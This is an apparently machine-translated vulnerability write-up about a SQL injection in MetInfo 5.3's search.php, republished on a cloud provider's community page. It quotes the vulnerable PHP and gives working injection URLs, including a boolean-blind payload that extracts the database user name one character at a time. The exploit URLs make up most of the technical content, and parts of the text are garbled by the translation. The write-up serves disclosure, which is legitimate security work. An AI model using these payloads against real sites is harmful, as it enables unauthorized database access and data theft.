MetInfo5.3 latest SQL Injection Vulnerability

Source: Internet
Author: User

MetInfo5.3 latest SQL Injection Vulnerability

MetInfo5.3 latest SQL Injection

Search. php:

$module=intval($module);    if($class1)$module=0;    if(intval($module)){      $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' "; }else{ $class1_info=$class_list[$class1]; if(!$class1_info)okinfo('../',$pagelang[noid]); $class1sql=" class1='$class1' "; $class2sql=" class2='$class2' "; $class3sql=" class3='$class3' ";  if($class1&&!$class2&&!$class3){  foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){   if($val['releclass']==$class1){    $class1re.=" or class1='$val[id]' ";   }  }  if($class1re){   $class1sql='('.$class1sql.$class1re.')';  } } if($class_list[$class2]['releclass']){  $class1sql=" class1='$class2' ";  $class2sql=" class2='$class3' ";  $class3sql=""; } $serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql ";


Because $ class1re is not initialized

foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){   if($val['releclass']==$class1){    $class1re.=" or class1='$val[id]' ";   }  }


This logic can be: Send url: http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 1 & searchword = 1 & lang = cn & class1re = xxxxxx: select count (*) FROM met_news where lang = 'cn' and (recycle = '0' or recycle = '-1') and displaytype = '1' and (class1 = '2' xxxxxx) and title like '% 100' and then construct http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and 1 = 1 -- the sd page is:

Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and 1 = 2 -- sd

Payload: http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = $ NUM,) -- sd adds $ NUM Based on page changes to guess the sensitive information. Because I am using roothttp: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = 114,1, 0) -- The sd page does not contain xxxxxxhttp: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = 1141,1, 0) -- The sd page contains xxxxx
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.